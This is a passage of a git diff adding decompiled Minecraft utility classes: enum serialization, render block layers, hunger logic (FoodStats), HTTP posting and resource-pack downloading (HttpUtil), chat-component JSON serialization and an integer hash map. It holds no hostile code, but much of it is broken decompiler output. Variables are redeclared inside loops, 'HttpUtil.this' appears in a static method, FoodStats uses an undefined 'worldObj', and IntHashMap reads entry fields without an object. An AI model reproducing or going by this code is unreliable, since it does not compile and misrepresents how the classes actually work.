+          p_write_1_.nullValue();
+        }
+        else
+        {
+          p_write_1_.value(EnumTypeAdapterFactory.this.func_151232_a(p_write_2_));
+        }
+      }
+      
+      public Object read(JsonReader p_read_1_) throws IOException {
+        if (p_read_1_.peek() == com.google.gson.stream.JsonToken.NULL)
+        {
+          p_read_1_.nextNull();
+          return null;
+        }
+        
+
+        return var4.get(p_read_1_.nextString());
+      }
+    };
+  }
+  
+
+
+  private String func_151232_a(Object p_151232_1_)
+  {
+    return (p_151232_1_ instanceof Enum) ? ((Enum)p_151232_1_).name().toLowerCase(Locale.US) : p_151232_1_.toString().toLowerCase(Locale.US);
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/EnumWorldBlockLayer.java b/src/minecraft/net/minecraft/util/EnumWorldBlockLayer.java
new file mode 100644
index 0000000..43e0dab
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/EnumWorldBlockLayer.java
@@ -0,0 +1,23 @@
+package net.minecraft.util;
+
+public enum EnumWorldBlockLayer
+{
+  SOLID("SOLID", 0, "Solid"), 
+  CUTOUT_MIPPED("CUTOUT_MIPPED", 1, "Mipped Cutout"), 
+  CUTOUT("CUTOUT", 2, "Cutout"), 
+  TRANSLUCENT("TRANSLUCENT", 3, "Translucent");
+  
+  private final String field_180338_e;
+  private static final EnumWorldBlockLayer[] $VALUES = { SOLID, CUTOUT_MIPPED, CUTOUT, TRANSLUCENT };
+  private static final String __OBFID = "CL_00002152";
+  
+  private EnumWorldBlockLayer(String p_i45755_1_, int p_i45755_2_, String p_i45755_3_)
+  {
+    field_180338_e = p_i45755_3_;
+  }
+  
+  public String toString()
+  {
+    return field_180338_e;
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/FoodStats.java b/src/minecraft/net/minecraft/util/FoodStats.java
new file mode 100644
index 0000000..0b7b32e
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/FoodStats.java
@@ -0,0 +1,163 @@
+package net.minecraft.util;
+
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.item.ItemFood;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.world.EnumDifficulty;
+import net.minecraft.world.World;
+
+public class FoodStats
+{
+  private int foodLevel = 20;
+  
+
+  private float foodSaturationLevel = 5.0F;
+  
+
+  private float foodExhaustionLevel;
+  
+  private int foodTimer;
+  
+  private int prevFoodLevel = 20;
+  
+  private static final String __OBFID = "CL_00001729";
+  
+  public FoodStats() {}
+  
+  public void addStats(int p_75122_1_, float p_75122_2_)
+  {
+    foodLevel = Math.min(p_75122_1_ + foodLevel, 20);
+    foodSaturationLevel = Math.min(foodSaturationLevel + p_75122_1_ * p_75122_2_ * 2.0F, foodLevel);
+  }
+  
+  public void addStats(ItemFood p_151686_1_, ItemStack p_151686_2_)
+  {
+    addStats(p_151686_1_.getHealAmount(p_151686_2_), p_151686_1_.getSaturationModifier(p_151686_2_));
+  }
+  
+
+
+
+  public void onUpdate(EntityPlayer p_75118_1_)
+  {
+    EnumDifficulty var2 = worldObj.getDifficulty();
+    prevFoodLevel = foodLevel;
+    
+    if (foodExhaustionLevel > 4.0F)
+    {
+      foodExhaustionLevel -= 4.0F;
+      
+      if (foodSaturationLevel > 0.0F)
+      {
+        foodSaturationLevel = Math.max(foodSaturationLevel - 1.0F, 0.0F);
+      }
+      else if (var2 != EnumDifficulty.PEACEFUL)
+      {
+        foodLevel = Math.max(foodLevel - 1, 0);
+      }
+    }
+    
+    if ((worldObj.getGameRules().getGameRuleBooleanValue("naturalRegeneration")) && (foodLevel >= 18) && (p_75118_1_.shouldHeal()))
+    {
+      foodTimer += 1;
+      
+      if (foodTimer >= 80)
+      {
+        p_75118_1_.heal(1.0F);
+        addExhaustion(3.0F);
+        foodTimer = 0;
+      }
+    }
+    else if (foodLevel <= 0)
+    {
+      foodTimer += 1;
+      
+      if (foodTimer >= 80)
+      {
+        if ((p_75118_1_.getHealth() > 10.0F) || (var2 == EnumDifficulty.HARD) || ((p_75118_1_.getHealth() > 1.0F) && (var2 == EnumDifficulty.NORMAL)))
+        {
+          p_75118_1_.attackEntityFrom(DamageSource.starve, 1.0F);
+        }
+        
+        foodTimer = 0;
+      }
+    }
+    else
+    {
+      foodTimer = 0;
+    }
+  }
+  
+
+
+
+  public void readNBT(NBTTagCompound p_75112_1_)
+  {
+    if (p_75112_1_.hasKey("foodLevel", 99))
+    {
+      foodLevel = p_75112_1_.getInteger("foodLevel");
+      foodTimer = p_75112_1_.getInteger("foodTickTimer");
+      foodSaturationLevel = p_75112_1_.getFloat("foodSaturationLevel");
+      foodExhaustionLevel = p_75112_1_.getFloat("foodExhaustionLevel");
+    }
+  }
+  
+
+
+
+  public void writeNBT(NBTTagCompound p_75117_1_)
+  {
+    p_75117_1_.setInteger("foodLevel", foodLevel);
+    p_75117_1_.setInteger("foodTickTimer", foodTimer);
+    p_75117_1_.setFloat("foodSaturationLevel", foodSaturationLevel);
+    p_75117_1_.setFloat("foodExhaustionLevel", foodExhaustionLevel);
+  }
+  
+
+
+
+  public int getFoodLevel()
+  {
+    return foodLevel;
+  }
+  
+  public int getPrevFoodLevel()
+  {
+    return prevFoodLevel;
+  }
+  
+
+
+
+  public boolean needFood()
+  {
+    return foodLevel < 20;
+  }
+  
+
+
+
+  public void addExhaustion(float p_75113_1_)
+  {
+    foodExhaustionLevel = Math.min(foodExhaustionLevel + p_75113_1_, 40.0F);
+  }
+  
+
+
+
+  public float getSaturationLevel()
+  {
+    return foodSaturationLevel;
+  }
+  
+  public void setFoodLevel(int p_75114_1_)
+  {
+    foodLevel = p_75114_1_;
+  }
+  
+  public void setFoodSaturationLevel(float p_75119_1_)
+  {
+    foodSaturationLevel = p_75119_1_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/HttpUtil.java b/src/minecraft/net/minecraft/util/HttpUtil.java
new file mode 100644
index 0000000..a3a77bf
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/HttpUtil.java
@@ -0,0 +1,322 @@
+package net.minecraft.util;
+
+import com.google.common.util.concurrent.ListenableFuture;
+import com.google.common.util.concurrent.ListeningExecutorService;
+import com.google.common.util.concurrent.ThreadFactoryBuilder;
+import java.io.BufferedReader;
+import java.io.DataOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.UnsupportedEncodingException;
+import java.net.HttpURLConnection;
+import java.net.Proxy;
+import java.net.ServerSocket;
+import java.net.URL;
+import java.net.URLConnection;
+import java.net.URLEncoder;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.concurrent.Executors;
+import java.util.concurrent.atomic.AtomicInteger;
+import net.minecraft.server.MinecraftServer;
+import org.apache.commons.io.FileUtils;
+import org.apache.commons.io.IOUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class HttpUtil
+{
+  public static final ListeningExecutorService field_180193_a = com.google.common.util.concurrent.MoreExecutors.listeningDecorator(Executors.newCachedThreadPool(new ThreadFactoryBuilder().setDaemon(true).setNameFormat("Downloader %d").build()));
+  
+
+  private static final AtomicInteger downloadThreadsStarted = new AtomicInteger(0);
+  private static final Logger logger = LogManager.getLogger();
+  
+  private static final String __OBFID = "CL_00001485";
+  
+  public HttpUtil() {}
+  
+  public static String buildPostString(Map data)
+  {
+    StringBuilder var1 = new StringBuilder();
+    Iterator var2 = data.entrySet().iterator();
+    
+    while (var2.hasNext())
+    {
+      Map.Entry var3 = (Map.Entry)var2.next();
+      
+      if (var1.length() > 0)
+      {
+        var1.append('&');
+      }
+      
+      try
+      {
+        var1.append(URLEncoder.encode((String)var3.getKey(), "UTF-8"));
+      }
+      catch (UnsupportedEncodingException var6)
+      {
+        var6.printStackTrace();
+      }
+      
+      if (var3.getValue() != null)
+      {
+        var1.append('=');
+        
+        try
+        {
+          var1.append(URLEncoder.encode(var3.getValue().toString(), "UTF-8"));
+        }
+        catch (UnsupportedEncodingException var5)
+        {
+          var5.printStackTrace();
+        }
+      }
+    }
+    
+    return var1.toString();
+  }
+  
+
+
+
+  public static String postMap(URL url, Map data, boolean skipLoggingErrors)
+  {
+    return post(url, buildPostString(data), skipLoggingErrors);
+  }
+  
+
+
+
+  private static String post(URL url, String content, boolean skipLoggingErrors)
+  {
+    try
+    {
+      Proxy var3 = MinecraftServer.getServer() == null ? null : MinecraftServer.getServer().getServerProxy();
+      
+      if (var3 == null)
+      {
+        var3 = Proxy.NO_PROXY;
+      }
+      
+      HttpURLConnection var4 = (HttpURLConnection)url.openConnection(var3);
+      var4.setRequestMethod("POST");
+      var4.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
+      var4.setRequestProperty("Content-Length", content.getBytes().length);
+      var4.setRequestProperty("Content-Language", "en-US");
+      var4.setUseCaches(false);
+      var4.setDoInput(true);
+      var4.setDoOutput(true);
+      DataOutputStream var5 = new DataOutputStream(var4.getOutputStream());
+      var5.writeBytes(content);
+      var5.flush();
+      var5.close();
+      BufferedReader var6 = new BufferedReader(new InputStreamReader(var4.getInputStream()));
+      StringBuffer var8 = new StringBuffer();
+      
+      String var7;
+      while ((var7 = var6.readLine()) != null) {
+        String var7;
+        var8.append(var7);
+        var8.append('\r');
+      }
+      
+      var6.close();
+      return var8.toString();
+    }
+    catch (Exception var9)
+    {
+      if (!skipLoggingErrors)
+      {
+        logger.error("Could not post to " + url, var9);
+      }
+    }
+    return "";
+  }
+  
+
+  public static ListenableFuture func_180192_a(final File p_180192_0_, final String p_180192_1_, final Map p_180192_2_, final int p_180192_3_, IProgressUpdate p_180192_4_, final Proxy p_180192_5_)
+  {
+    ListenableFuture var6 = field_180193_a.submit(new Runnable()
+    {
+      private static final String __OBFID = "CL_00001486";
+      
+      public void run() {
+        InputStream var2 = null;
+        DataOutputStream var3 = null;
+        
+        if (HttpUtil.this != null)
+        {
+          resetProgressAndMessage("Downloading Resource Pack");
+          displayLoadingString("Making Request...");
+        }
+        
+
+
+        try
+        {
+          byte[] var4 = new byte['က'];
+          URL var5 = new URL(p_180192_1_);
+          URLConnection var1 = var5.openConnection(p_180192_5_);
+          float var6 = 0.0F;
+          float var7 = p_180192_2_.entrySet().size();
+          Iterator var8 = p_180192_2_.entrySet().iterator();
+          
+          while (var8.hasNext())
+          {
+            Map.Entry var9 = (Map.Entry)var8.next();
+            var1.setRequestProperty((String)var9.getKey(), (String)var9.getValue());
+            
+            if (HttpUtil.this != null)
+            {
+              setLoadingProgress((int)(++var6 / var7 * 100.0F));
+            }
+          }
+          
+          var2 = var1.getInputStream();
+          var7 = var1.getContentLength();
+          int var16 = var1.getContentLength();
+          
+          if (HttpUtil.this != null)
+          {
+            displayLoadingString(String.format("Downloading file (%.2f MB)...", new Object[] { Float.valueOf(var7 / 1000.0F / 1000.0F) }));
+          }
+          
+          if (p_180192_0_.exists())
+          {
+            long var17 = p_180192_0_.length();
+            
+            if (var17 == var16)
+            {
+              if (HttpUtil.this != null)
+              {
+                setDoneWorking();
+              }
+              
+              return;
+            }
+            
+            HttpUtil.logger.warn("Deleting " + p_180192_0_ + " as it does not match what we currently have (" + var16 + " vs our " + var17 + ").");
+            FileUtils.deleteQuietly(p_180192_0_);
+          }
+          else if (p_180192_0_.getParentFile() != null)
+          {
+            p_180192_0_.getParentFile().mkdirs();
+          }
+          
+          var3 = new DataOutputStream(new FileOutputStream(p_180192_0_));
+          
+          if ((p_180192_3_ > 0) && (var7 > p_180192_3_))
+          {
+            if (HttpUtil.this != null)
+            {
+              setDoneWorking();
+            }
+            
+            throw new IOException("Filesize is bigger than maximum allowed (file is " + var6 + ", limit is " + p_180192_3_ + ")");
+          }
+          
+          boolean var18 = false;
+          
+          int var19;
+          while ((var19 = var2.read(var4)) >= 0) {
+            int var19;
+            var6 += var19;
+            
+            if (HttpUtil.this != null)
+            {
+              setLoadingProgress((int)(var6 / var7 * 100.0F));
+            }
+            
+            if ((p_180192_3_ > 0) && (var6 > p_180192_3_))
+            {
+              if (HttpUtil.this != null)
+              {
+                setDoneWorking();
+              }
+              
+              throw new IOException("Filesize was bigger than maximum allowed (got >= " + var6 + ", limit was " + p_180192_3_ + ")");
+            }
+            
+            var3.write(var4, 0, var19);
+          }
+          
+          if (HttpUtil.this != null)
+          {
+            setDoneWorking();
+            return;
+          }
+        }
+        catch (Throwable var14)
+        {
+          var14.printStackTrace();
+
+        }
+        finally
+        {
+          IOUtils.closeQuietly(var2);
+          IOUtils.closeQuietly(var3);
+        }
+        IOUtils.closeQuietly(var2);
+        IOUtils.closeQuietly(var3);
+      }
+      
+    });
+    return var6;
+  }
+  
+  public static int getSuitableLanPort() throws IOException
+  {
+    ServerSocket var0 = null;
+    boolean var1 = true;
+    
+    int var10;
+    try
+    {
+      var0 = new ServerSocket(0);
+      var10 = var0.getLocalPort();
+    }
+    finally
+    {
+      try {
+        int var10;
+        if (var0 != null)
+        {
+          var0.close();
+        }
+      }
+      catch (IOException localIOException) {}
+    }
+    
+
+
+
+    return var10;
+  }
+  
+
+
+  public static String get(URL url)
+    throws IOException
+  {
+    HttpURLConnection var1 = (HttpURLConnection)url.openConnection();
+    var1.setRequestMethod("GET");
+    BufferedReader var2 = new BufferedReader(new InputStreamReader(var1.getInputStream()));
+    StringBuilder var4 = new StringBuilder();
+    
+    String var3;
+    while ((var3 = var2.readLine()) != null) {
+      String var3;
+      var4.append(var3);
+      var4.append('\r');
+    }
+    
+    var2.close();
+    return var4.toString();
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/IChatComponent.java b/src/minecraft/net/minecraft/util/IChatComponent.java
new file mode 100644
index 0000000..ece36b4
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/IChatComponent.java
@@ -0,0 +1,318 @@
+package net.minecraft.util;
+
+import com.google.gson.Gson;
+import com.google.gson.GsonBuilder;
+import com.google.gson.JsonArray;
+import com.google.gson.JsonDeserializationContext;
+import com.google.gson.JsonDeserializer;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParseException;
+import com.google.gson.JsonPrimitive;
+import com.google.gson.JsonSerializationContext;
+import com.google.gson.JsonSerializer;
+import java.lang.reflect.Type;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface IChatComponent
+  extends Iterable
+{
+  public abstract IChatComponent setChatStyle(ChatStyle paramChatStyle);
+  
+  public abstract ChatStyle getChatStyle();
+  
+  public abstract IChatComponent appendText(String paramString);
+  
+  public abstract IChatComponent appendSibling(IChatComponent paramIChatComponent);
+  
+  public abstract String getUnformattedTextForChat();
+  
+  public abstract String getUnformattedText();
+  
+  public abstract String getFormattedText();
+  
+  public abstract List getSiblings();
+  
+  public abstract IChatComponent createCopy();
+  
+  public static class Serializer
+    implements JsonDeserializer, JsonSerializer
+  {
+    private static final Gson GSON;
+    private static final String __OBFID = "CL_00001263";
+    
+    public IChatComponent deserialize(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_)
+    {
+      if (p_deserialize_1_.isJsonPrimitive())
+      {
+        return new ChatComponentText(p_deserialize_1_.getAsString());
+      }
+      if (!p_deserialize_1_.isJsonObject())
+      {
+        if (p_deserialize_1_.isJsonArray())
+        {
+          JsonArray var11 = p_deserialize_1_.getAsJsonArray();
+          IChatComponent var12 = null;
+          Iterator var15 = var11.iterator();
+          
+          while (var15.hasNext())
+          {
+            JsonElement var17 = (JsonElement)var15.next();
+            IChatComponent var18 = deserialize(var17, var17.getClass(), p_deserialize_3_);
+            
+            if (var12 == null)
+            {
+              var12 = var18;
+            }
+            else
+            {
+              var12.appendSibling(var18);
+            }
+          }
+          
+          return var12;
+        }
+        
+
+        throw new JsonParseException("Don't know how to turn " + p_deserialize_1_.toString() + " into a Component");
+      }
+      
+
+
+      JsonObject var4 = p_deserialize_1_.getAsJsonObject();
+      Object var5;
+      Object var5;
+      if (var4.has("text"))
+      {
+        var5 = new ChatComponentText(var4.get("text").getAsString());
+      } else { Object var5;
+        if (var4.has("translate"))
+        {
+          String var6 = var4.get("translate").getAsString();
+          Object var5;
+          if (var4.has("with"))
+          {
+            JsonArray var7 = var4.getAsJsonArray("with");
+            Object[] var8 = new Object[var7.size()];
+            
+            for (int var9 = 0; var9 < var8.length; var9++)
+            {
+              var8[var9] = deserialize(var7.get(var9), p_deserialize_2_, p_deserialize_3_);
+              
+              if ((var8[var9] instanceof ChatComponentText))
+              {
+                ChatComponentText var10 = (ChatComponentText)var8[var9];
+                
+                if ((var10.getChatStyle().isEmpty()) && (var10.getSiblings().isEmpty()))
+                {
+                  var8[var9] = var10.getChatComponentText_TextValue();
+                }
+              }
+            }
+            
+            var5 = new ChatComponentTranslation(var6, var8);
+          }
+          else
+          {
+            var5 = new ChatComponentTranslation(var6, new Object[0]);
+          }
+        }
+        else if (var4.has("score"))
+        {
+          JsonObject var13 = var4.getAsJsonObject("score");
+          
+          if ((!var13.has("name")) || (!var13.has("objective")))
+          {
+            throw new JsonParseException("A score component needs a least a name and an objective");
+          }
+          
+          Object var5 = new ChatComponentScore(JsonUtils.getJsonObjectStringFieldValue(var13, "name"), JsonUtils.getJsonObjectStringFieldValue(var13, "objective"));
+          
+          if (var13.has("value"))
+          {
+            ((ChatComponentScore)var5).func_179997_b(JsonUtils.getJsonObjectStringFieldValue(var13, "value"));
+          }
+        }
+        else
+        {
+          if (!var4.has("selector"))
+          {
+            throw new JsonParseException("Don't know how to turn " + p_deserialize_1_.toString() + " into a Component");
+          }
+          
+          var5 = new ChatComponentSelector(JsonUtils.getJsonObjectStringFieldValue(var4, "selector"));
+        }
+      }
+      if (var4.has("extra"))
+      {
+        JsonArray var14 = var4.getAsJsonArray("extra");
+        
+        if (var14.size() <= 0)
+        {
+          throw new JsonParseException("Unexpected empty array of components");
+        }
+        
+        for (int var16 = 0; var16 < var14.size(); var16++)
+        {
+          ((IChatComponent)var5).appendSibling(deserialize(var14.get(var16), p_deserialize_2_, p_deserialize_3_));
+        }
+      }
+      
+      ((IChatComponent)var5).setChatStyle((ChatStyle)p_deserialize_3_.deserialize(p_deserialize_1_, ChatStyle.class));
+      return (IChatComponent)var5;
+    }
+    
+
+    private void serializeChatStyle(ChatStyle style, JsonObject object, JsonSerializationContext ctx)
+    {
+      JsonElement var4 = ctx.serialize(style);
+      
+      if (var4.isJsonObject())
+      {
+        JsonObject var5 = (JsonObject)var4;
+        Iterator var6 = var5.entrySet().iterator();
+        
+        while (var6.hasNext())
+        {
+          Map.Entry var7 = (Map.Entry)var6.next();
+          object.add((String)var7.getKey(), (JsonElement)var7.getValue());
+        }
+      }
+    }
+    
+    public JsonElement serialize(IChatComponent p_serialize_1_, Type p_serialize_2_, JsonSerializationContext p_serialize_3_)
+    {
+      if (((p_serialize_1_ instanceof ChatComponentText)) && (p_serialize_1_.getChatStyle().isEmpty()) && (p_serialize_1_.getSiblings().isEmpty()))
+      {
+        return new JsonPrimitive(((ChatComponentText)p_serialize_1_).getChatComponentText_TextValue());
+      }
+      
+
+      JsonObject var4 = new JsonObject();
+      
+      if (!p_serialize_1_.getChatStyle().isEmpty())
+      {
+        serializeChatStyle(p_serialize_1_.getChatStyle(), var4, p_serialize_3_);
+      }
+      
+      if (!p_serialize_1_.getSiblings().isEmpty())
+      {
+        JsonArray var5 = new JsonArray();
+        Iterator var6 = p_serialize_1_.getSiblings().iterator();
+        
+        while (var6.hasNext())
+        {
+          IChatComponent var7 = (IChatComponent)var6.next();
+          var5.add(serialize(var7, var7.getClass(), p_serialize_3_));
+        }
+        
+        var4.add("extra", var5);
+      }
+      
+      if ((p_serialize_1_ instanceof ChatComponentText))
+      {
+        var4.addProperty("text", ((ChatComponentText)p_serialize_1_).getChatComponentText_TextValue());
+      }
+      else if ((p_serialize_1_ instanceof ChatComponentTranslation))
+      {
+        ChatComponentTranslation var11 = (ChatComponentTranslation)p_serialize_1_;
+        var4.addProperty("translate", var11.getKey());
+        
+        if ((var11.getFormatArgs() != null) && (var11.getFormatArgs().length > 0))
+        {
+          JsonArray var14 = new JsonArray();
+          Object[] var16 = var11.getFormatArgs();
+          int var8 = var16.length;
+          
+          for (int var9 = 0; var9 < var8; var9++)
+          {
+            Object var10 = var16[var9];
+            
+            if ((var10 instanceof IChatComponent))
+            {
+              var14.add(serialize((IChatComponent)var10, var10.getClass(), p_serialize_3_));
+            }
+            else
+            {
+              var14.add(new JsonPrimitive(String.valueOf(var10)));
+            }
+          }
+          
+          var4.add("with", var14);
+        }
+      }
+      else if ((p_serialize_1_ instanceof ChatComponentScore))
+      {
+        ChatComponentScore var12 = (ChatComponentScore)p_serialize_1_;
+        JsonObject var15 = new JsonObject();
+        var15.addProperty("name", var12.func_179995_g());
+        var15.addProperty("objective", var12.func_179994_h());
+        var15.addProperty("value", var12.getUnformattedTextForChat());
+        var4.add("score", var15);
+      }
+      else
+      {
+        if (!(p_serialize_1_ instanceof ChatComponentSelector))
+        {
+          throw new IllegalArgumentException("Don't know how to serialize " + p_serialize_1_ + " as a Component");
+        }
+        
+        ChatComponentSelector var13 = (ChatComponentSelector)p_serialize_1_;
+        var4.addProperty("selector", var13.func_179992_g());
+      }
+      
+      return var4;
+    }
+    
+
+    public static String componentToJson(IChatComponent component)
+    {
+      return GSON.toJson(component);
+    }
+    
+    public static IChatComponent jsonToComponent(String json)
+    {
+      return (IChatComponent)GSON.fromJson(json, IChatComponent.class);
+    }
+    
+    public JsonElement serialize(Object p_serialize_1_, Type p_serialize_2_, JsonSerializationContext p_serialize_3_)
+    {
+      return serialize((IChatComponent)p_serialize_1_, p_serialize_2_, p_serialize_3_);
+    }
+    
+
+    static
+    {
+      GsonBuilder var0 = new GsonBuilder();
+      var0.registerTypeHierarchyAdapter(IChatComponent.class, new Serializer());
+      var0.registerTypeHierarchyAdapter(ChatStyle.class, new ChatStyle.Serializer());
+      var0.registerTypeAdapterFactory(new EnumTypeAdapterFactory());
+      GSON = var0.create();
+    }
+    
+    public Serializer() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/util/IJsonSerializable.java b/src/minecraft/net/minecraft/util/IJsonSerializable.java
new file mode 100644
index 0000000..b41f26a
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/IJsonSerializable.java
@@ -0,0 +1,10 @@
+package net.minecraft.util;
+
+import com.google.gson.JsonElement;
+
+public abstract interface IJsonSerializable
+{
+  public abstract void func_152753_a(JsonElement paramJsonElement);
+  
+  public abstract JsonElement getSerializableElement();
+}
diff --git a/src/minecraft/net/minecraft/util/IObjectIntIterable.java b/src/minecraft/net/minecraft/util/IObjectIntIterable.java
new file mode 100644
index 0000000..a5ec3ac
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/IObjectIntIterable.java
@@ -0,0 +1,5 @@
+package net.minecraft.util;
+
+public abstract interface IObjectIntIterable
+  extends Iterable
+{}
diff --git a/src/minecraft/net/minecraft/util/IProgressUpdate.java b/src/minecraft/net/minecraft/util/IProgressUpdate.java
new file mode 100644
index 0000000..eba9065
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/IProgressUpdate.java
@@ -0,0 +1,14 @@
+package net.minecraft.util;
+
+public abstract interface IProgressUpdate
+{
+  public abstract void displaySavingString(String paramString);
+  
+  public abstract void resetProgressAndMessage(String paramString);
+  
+  public abstract void displayLoadingString(String paramString);
+  
+  public abstract void setLoadingProgress(int paramInt);
+  
+  public abstract void setDoneWorking();
+}
diff --git a/src/minecraft/net/minecraft/util/IRegistry.java b/src/minecraft/net/minecraft/util/IRegistry.java
new file mode 100644
index 0000000..cfd188e
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/IRegistry.java
@@ -0,0 +1,9 @@
+package net.minecraft.util;
+
+public abstract interface IRegistry
+  extends Iterable
+{
+  public abstract Object getObject(Object paramObject);
+  
+  public abstract void putObject(Object paramObject1, Object paramObject2);
+}
diff --git a/src/minecraft/net/minecraft/util/IStringSerializable.java b/src/minecraft/net/minecraft/util/IStringSerializable.java
new file mode 100644
index 0000000..490db0f
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/IStringSerializable.java
@@ -0,0 +1,6 @@
+package net.minecraft.util;
+
+public abstract interface IStringSerializable
+{
+  public abstract String getName();
+}
diff --git a/src/minecraft/net/minecraft/util/IThreadListener.java b/src/minecraft/net/minecraft/util/IThreadListener.java
new file mode 100644
index 0000000..6efb941
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/IThreadListener.java
@@ -0,0 +1,10 @@
+package net.minecraft.util;
+
+import com.google.common.util.concurrent.ListenableFuture;
+
+public abstract interface IThreadListener
+{
+  public abstract ListenableFuture addScheduledTask(Runnable paramRunnable);
+  
+  public abstract boolean isCallingFromMinecraftThread();
+}
diff --git a/src/minecraft/net/minecraft/util/IntHashMap.java b/src/minecraft/net/minecraft/util/IntHashMap.java
new file mode 100644
index 0000000..ca10fa2
--- /dev/null
+++ b/src/minecraft/net/minecraft/util/IntHashMap.java
@@ -0,0 +1,288 @@
+package net.minecraft.util;
+
+
+public class IntHashMap
+{
+  private transient Entry[] slots = new Entry[16];
+  
+
+  private transient int count;
+  
+
+  private int threshold = 12;
+  
+
+  private final float growFactor = 0.75F;
+  
+  private static final String __OBFID = "CL_00001490";
+  
+  public IntHashMap() {}
+  
+  private static int computeHash(int p_76044_0_)
+  {
+    p_76044_0_ ^= p_76044_0_ >>> 20 ^ p_76044_0_ >>> 12;
+    return p_76044_0_ ^ p_76044_0_ >>> 7 ^ p_76044_0_ >>> 4;
+  }
+  
+
+
+
+  private static int getSlotIndex(int p_76043_0_, int p_76043_1_)
+  {
+    return p_76043_0_ & p_76043_1_ - 1;
+  }
+  
+
+
+
+  public Object lookup(int p_76041_1_)
+  {
+    int var2 = computeHash(p_76041_1_);
+    
+    for (Entry var3 = slots[getSlotIndex(var2, slots.length)]; var3 != null; var3 = nextEntry)
+    {
+      if (hashEntry == p_76041_1_)
+      {
+        return valueEntry;
+      }
+    }
+    
+    return null;
+  }
+  
+
+
+
+  public boolean containsItem(int p_76037_1_)
+  {
+    return lookupEntry(p_76037_1_) != null;
+  }
+  
+
+
+
+  final Entry lookupEntry(int p_76045_1_)
+  {
+    int var2 = computeHash(p_76045_1_);
+    
+    for (Entry var3 = slots[getSlotIndex(var2, slots.length)]; var3 != null; var3 = nextEntry)
+    {
+      if (hashEntry == p_76045_1_)
+      {
+        return var3;
+      }
+    }
+    
+    return null;
+  }
+  
+
+
+
+  public void addKey(int p_76038_1_, Object p_76038_2_)
+  {
+    int var3 = computeHash(p_76038_1_);
+    int var4 = getSlotIndex(var3, slots.length);
+    
+    for (Entry var5 = slots[var4]; var5 != null; var5 = nextEntry)
+    {
+      if (hashEntry == p_76038_1_)
+      {
+        valueEntry = p_76038_2_;
+        return;
+      }
+    }
+    
+    insert(var3, p_76038_1_, p_76038_2_, var4);
+  }
+  
+
+
+
+  private void grow(int p_76047_1_)
+  {
+    Entry[] var2 = slots;
+    int var3 = var2.length;
+    
+    if (var3 == 1073741824)
+    {
+      threshold = Integer.MAX_VALUE;
+    }
+    else
+    {
+      Entry[] var4 = new Entry[p_76047_1_];
+      copyTo(var4);
+      slots = var4;
+      threshold = ((int)(p_76047_1_ * 0.75F));
+    }
+  }
+  
+
+
+
+  private void copyTo(Entry[] p_76048_1_)
+  {
+    Entry[] var2 = slots;
+    int var3 = p_76048_1_.length;
+    
+    for (int var4 = 0; var4 < var2.length; var4++)
+    {
+      Entry var5 = var2[var4];
+      
+      if (var5 != null)
+      {
+        var2[var4] = null;
+        
+        Entry var6;
+        do
+        {
+          var6 = nextEntry;
+          int var7 = getSlotIndex(slotHash, var3);
+          nextEntry = p_76048_1_[var7];
+          p_76048_1_[var7] = var5;
+          var5 = var6;
+        }
+        while (var6 != null);
+      }
+    }
+  }
+  
+
+
+
+  public Object removeObject(int p_76049_1_)
+  {
+    Entry var2 = removeEntry(p_76049_1_);
+    return var2 == null ? null : valueEntry;
+  }
+  
+
+
+
+  final Entry removeEntry(int p_76036_1_)
+  {
+    int var2 = computeHash(p_76036_1_);
+    int var3 = getSlotIndex(var2, slots.length);
+    Entry var4 = slots[var3];
+    
+    Entry var6;
+    
+    for (Entry var5 = var4; var5 != null; var5 = var6)
+    {
+      var6 = nextEntry;
+      
+      if (hashEntry == p_76036_1_)
+      {
+        count -= 1;
+        
+        if (var4 == var5)
+        {
+          slots[var3] = var6;
+        }
+        else
+        {
+          nextEntry = var6;
+        }
+        
+        return var5;
+      }
+      
+      var4 = var5;
+    }
+    
+    return var5;
+  }
+  
+
+
+
+  public void clearMap()
+  {
+    Entry[] var1 = slots;
+    
+    for (int var2 = 0; var2 < var1.length; var2++)
+    {
+      var1[var2] = null;
+    }
+    
+    count = 0;
+  }
+  
+
+
+
+  private void insert(int p_76040_1_, int p_76040_2_, Object p_76040_3_, int p_76040_4_)
+  {
+    Entry var5 = slots[p_76040_4_];
+    slots[p_76040_4_] = new Entry(p_76040_1_, p_76040_2_, p_76040_3_, var5);
+    
+    if (count++ >= threshold)
+    {
+      grow(2 * slots.length);
+    }
+  }
+  
+  static class Entry
+  {
+    final int hashEntry;
+    Object valueEntry;
+    Entry nextEntry;
+    final int slotHash;
+    private static final String __OBFID = "CL_00001491";
+    
+    Entry(int p_i1552_1_, int p_i1552_2_, Object p_i1552_3_, Entry p_i1552_4_)
+    {
+      valueEntry = p_i1552_3_;
+      nextEntry = p_i1552_4_;
+      hashEntry = p_i1552_2_;
+      slotHash = p_i1552_1_;
+    }
+    
+    public final int getHash()
+    {
+      return hashEntry;
+    }
+    
+    public final Object getValue()
+    {
+      return valueEntry;
